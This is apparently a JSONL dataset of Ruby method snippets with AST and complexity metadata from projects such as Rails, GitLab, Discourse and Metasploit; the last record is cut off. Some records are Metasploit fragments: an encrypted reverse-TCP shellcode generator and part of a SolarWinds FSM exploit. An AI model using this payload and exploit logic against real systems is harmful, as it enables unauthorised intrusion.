{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/taxon.rb","start_line":379,"raw_source":"def regenerate_pretty_name_and_permalink_as_child\n      Mobility.with_locale(nil) do\n        update_columns(pretty_name: generate_pretty_name, permalink: generate_slug, updated_at: Time.current)\n      end\n\n      children.reload.each(&:regenerate_pretty_name_and_permalink_as_child)\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"regenerate_pretty_name_and_permalink_as_child\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mobility\"]},\"with_locale\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pretty_name\"]},{\"type\":\"send\",\"children\":[null,\"generate_pretty_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permalink\"]},{\"type\":\"send\",\"children\":[null,\"generate_slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"children\"]},\"reload\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"regenerate_pretty_name_and_permalink_as_child\"]}]}]}]}]}","id":"3fa8d791-339f-44fa-9e22-fe8c08e9baaf"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/full_text_search.rb","start_line":72,"raw_source":"def self.normalize_text(text)\n      I18n.with_locale(:en) { I18n.transliterate(text.to_s.downcase, replacement: \"\") }\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"normalize_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"with_locale\",{\"type\":\"sym\",\"children\":[\"en\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"transliterate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"to_s\"]},\"downcase\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replacement\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}","id":"94e7f263-9c18-4bfe-8de4-871f85ecc2f1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/service_result.rb","start_line":233,"raw_source":"def on_success(&)\n    tap(&) if success?\n    self\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_success\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success?\"]},{\"type\":\"send\",\"children\":[null,\"tap\",{\"type\":\"block_pass\",\"children\":[null]}]},null]},{\"type\":\"self\",\"children\":[]}]}]}","id":"a1784c06-c2d0-4f49-af6e-19f207033e96"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/issues/list/csv_spec.rb","start_line":34,"raw_source":"def csv\n    CSV.parse(attachment.decode_body, headers: true)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"csv\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSV\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachment\"]},\"decode_body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"853a285c-70b0-438e-bef5-fb443fcef4e8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/chunked_test.rb","start_line":8,"raw_source":"def chunk\n      render json: {\n        raw_post: request.raw_post,\n        content_length: request.content_length\n      }\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"chunk\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"raw_post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"content_length\"]}]}]}]}]}]}]}","id":"1c8452ea-8761-4dfb-81ba-c8b2d9b1d208"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_export.rb","start_line":159,"raw_source":"def extract_vuln_entries\n    @vulns = myworkspace.vulns\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_vuln_entries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@vulns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"myworkspace\"]},\"vulns\"]}]}]}","id":"630d09ec-3396-4c23-9c69-a9382eb8aa07"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/tags/bulk_insert.rb","start_line":23,"raw_source":"def insert!\n          return false if tag_list_by_taggable.empty?\n\n          persist_build_tags!\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"insert!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_list_by_taggable\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"persist_build_tags!\"]}]}]}","id":"c4a476f3-ae63-4573-9b1f-ae9a492df80d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/poll/app/models/poll.rb","start_line":37,"raw_source":"def can_see_results?(user)\n    return !!user&.staff? if staff_only?\n    !!(always? || (on_vote? && (is_me?(user) || has_voted?(user))) || is_closed?)\n  end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"can_see_results?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"staff_only?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"staff?\"]},\"!\"]},\"!\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"always?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_vote?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_me?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"has_voted?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"is_closed?\"]}]}]},\"!\"]},\"!\"]}]}]}","id":"92c0e917-9297-435b-ba08-5c9492d5e22b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/encrypted_reverse_tcp.rb","start_line":46,"raw_source":"def generate(opts={})\n    opts[:uuid] ||= generate_payload_uuid.puid_hex\n    iv = datastore['ChachaNonce']\n\n    conf =\n    {\n      call_wsastartup: datastore['CallWSAStartup'],\n      port:            format_ds_opt(datastore['LPORT']),\n      host:            format_ds_opt(datastore['LHOST']),\n      key:             datastore['ChachaKey'],\n      nonce:           datastore['ChachaNonce'],\n      iv:              iv,\n      uuid:            opts[:uuid],\n      staged:          staged?\n    }\n\n    src = ''\n    if staged?\n      src = generate_stager(conf, opts)\n    else\n      src = generate_c_src(conf, opts)\n    end\n\n    link_script = module_info['DefaultOptions']['LinkerScript']\n    compile_opts =\n    {\n      strip_symbols: datastore['StripSymbols'],\n      linker_script: link_script,\n      opt_lvl:       datastore['OptLevel'],\n      keep_src:      datastore['KeepSrc'],\n      keep_exe:      datastore['KeepExe'],\n      show_compile_cmd: datastore['ShowCompileCMD'],\n      f_name:        Tempfile.new(staged? ? 'reverse_pic_stager' : 'reverse_pic_stageless').path,\n      arch:          opts.fetch(:arch, self.arch_to_s)\n    }\n\n    comp_code = get_compiled_shellcode(src, compile_opts)\n\n    chacha_conf =\n    {\n      'uuid'  =>  conf[:uuid],\n      'key'   =>  conf[:key],\n      'nonce' =>  conf[:nonce]\n    }\n    save_conf_to_db(chacha_conf)\n\n    comp_code\n  end","complexity_score":61.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_payload_uuid\"]},\"puid_hex\"]}]},{\"type\":\"lvasgn\",\"children\":[\"iv\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ChachaNonce\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"call_wsastartup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CallWSAStartup\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"format_ds_opt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"format_ds_opt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ChachaKey\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nonce\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ChachaNonce\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iv\"]},{\"type\":\"lvar\",\"children\":[\"iv\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uuid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"staged\"]},{\"type\":\"send\",\"children\":[null,\"staged?\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"src\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"staged?\"]},{\"type\":\"lvasgn\",\"children\":[\"src\",{\"type\":\"send\",\"children\":[null,\"generate_stager\",{\"type\":\"lvar\",\"children\":[\"conf\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"src\",{\"type\":\"send\",\"children\":[null,\"generate_c_src\",{\"type\":\"lvar\",\"children\":[\"conf\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"link_script\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"module_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DefaultOptions\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"LinkerScript\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compile_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip_symbols\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StripSymbols\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linker_script\"]},{\"type\":\"lvar\",\"children\":[\"link_script\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"opt_lvl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OptLevel\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keep_src\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"KeepSrc\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keep_exe\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"KeepExe\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_compile_cmd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ShowCompileCMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"f_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"staged?\"]},{\"type\":\"str\",\"children\":[\"reverse_pic_stager\"]},{\"type\":\"str\",\"children\":[\"reverse_pic_stageless\"]}]}]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arch_to_s\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comp_code\",{\"type\":\"send\",\"children\":[null,\"get_compiled_shellcode\",{\"type\":\"lvar\",\"children\":[\"src\"]},{\"type\":\"lvar\",\"children\":[\"compile_opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chacha_conf\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uuid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"nonce\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nonce\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"save_conf_to_db\",{\"type\":\"lvar\",\"children\":[\"chacha_conf\"]}]},{\"type\":\"lvar\",\"children\":[\"comp_code\"]}]}]}","id":"5bb4a83d-223e-4056-8563-68edf70aa2fc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb","start_line":165,"raw_source":"def set_baud_rate(idx, rate, opt={})\n    request = \"/rftransceiver/#{idx}/set_baud_rate?rate=#{rate}\"\n    request << \"&mhz=#{opt['mhz']}\" if opt.has_key? 'mhz'\n    client.send_request(request)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_baud_rate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]},{\"type\":\"arg\",\"children\":[\"rate\"]},{\"type\":\"optarg\",\"children\":[\"opt\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/rftransceiver/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]}]},{\"type\":\"str\",\"children\":[\"/set_baud_rate?rate=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"mhz\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&mhz=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"mhz\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]}","id":"520136dc-9a32-476e-a7fb-9f9b05ddc629"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/notifications/requests_controller.rb","start_line":85,"raw_source":"def records_continue?\n    @requests.size == limit_param(DEFAULT_ACCOUNTS_LIMIT)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"records_continue?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@requests\"]},\"size\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_ACCOUNTS_LIMIT\"]}]}]}]}","id":"b71b6368-2c1f-4a46-a702-48d8d630d223"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/database_configurations/hash_config.rb","start_line":125,"raw_source":"def keepalive\n        keepalive = (configuration_hash[:keepalive] || 600).to_f\n        keepalive if keepalive > 0\n      end","complexity_score":8.33,"ast_json":"{\"type\":\"def\",\"children\":[\"keepalive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keepalive\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keepalive\"]}]},{\"type\":\"int\",\"children\":[600]}]}]},\"to_f\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keepalive\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"keepalive\"]},null]}]}]}","id":"f1cbe540-e014-405b-b5c9-beabd842bc5e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb","start_line":157,"raw_source":"def put_session_value(value)\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),\n      'method' => 'GET',\n      'vars_get' => { 'username' => value }\n    )\n\n    unless res\n      fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')\n    end\n\n    get_sid(res)\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"put_session_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"fsm\"]},{\"type\":\"str\",\"children\":[\"userlogin.jsp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"The connection timed out while setting the session value.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get_sid\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"57f57549-495b-4064-b618-b5ab9e89ed10"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":1295,"raw_source":"def cache\n    @cache ||= Gitlab::RepositoryCache.new(self)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"RepositoryCache\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"f36d961b-f0f3-409a-a7cb-3680584989db"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/session_notifier.rb","start_line":73,"raw_source":"def cmd_set_session_mobile_number(*args)\n        num = args[0]\n        if num =~ /^\\d{10}$/\n          @sms_number = args[0]\n        else\n          print_error('Invalid phone format. It should be a 10-digit number that looks like: XXXXXXXXXX')\n        end\n      end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_set_session_mobile_number\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"num\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\d{10}$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@sms_number\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Invalid phone format. It should be a 10-digit number that looks like: XXXXXXXXXX\"]}]}]}]}]}","id":"767ce2d1-76b5-4267-9b51-aa6f251c3f6e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/whats_new_helper.rb","start_line":32,"raw_source":"def whats_new_variants_description(variant)\n    case variant\n    when 'all_tiers'\n      _(\"Include new features from all tiers.\")\n    when 'current_tier'\n      _(\"Only include features new to your current subscription tier.\")\n    when 'disabled'\n      safe_format(_(\"%{italic_start}What's new%{italic_end} is inactive and cannot be viewed.\"),\n        tag_pair(tag.i, :italic_start, :italic_end))\n    end\n  end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"whats_new_variants_description\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variant\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"all_tiers\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Include new features from all tiers.\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"current_tier\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Only include features new to your current subscription tier.\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"disabled\"]},{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{italic_start}What's new%{italic_end} is inactive and cannot be viewed.\"]}]},{\"type\":\"send\",\"children\":[null,\"tag_pair\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"i\"]},{\"type\":\"sym\",\"children\":[\"italic_start\"]},{\"type\":\"sym\",\"children\":[\"italic_end\"]}]}]}]},null]}]}","id":"c76c2fde-22b7-4c26-80e6-bb5c619b6fb1"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":1085,"raw_source":"def poll_name(row)\n    name = +(row[\"name\"] || \"poll\")\n    name << \"-#{row[\"seq\"]}\" if row[\"seq\"] > 1\n    name\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"poll_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"poll\"]}]}]},\"+@\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"seq\"]}]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"seq\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"134d267b-3a86-4869-9f5d-f468f7ada864"}
{"repo_name":"tty","file_path":"./repos/tty/lib/tty/plugins/plugin.rb","start_line":37,"raw_source":"def load!\n      begin\n        require name unless enabled?\n      rescue LoadError => error\n        puts(\"Unable to load plugin #{name} due to #{error}.\")\n      rescue => error\n        puts(\"require '#{name}' failed with #{error}\")\n      end\n      @enabled = true\n    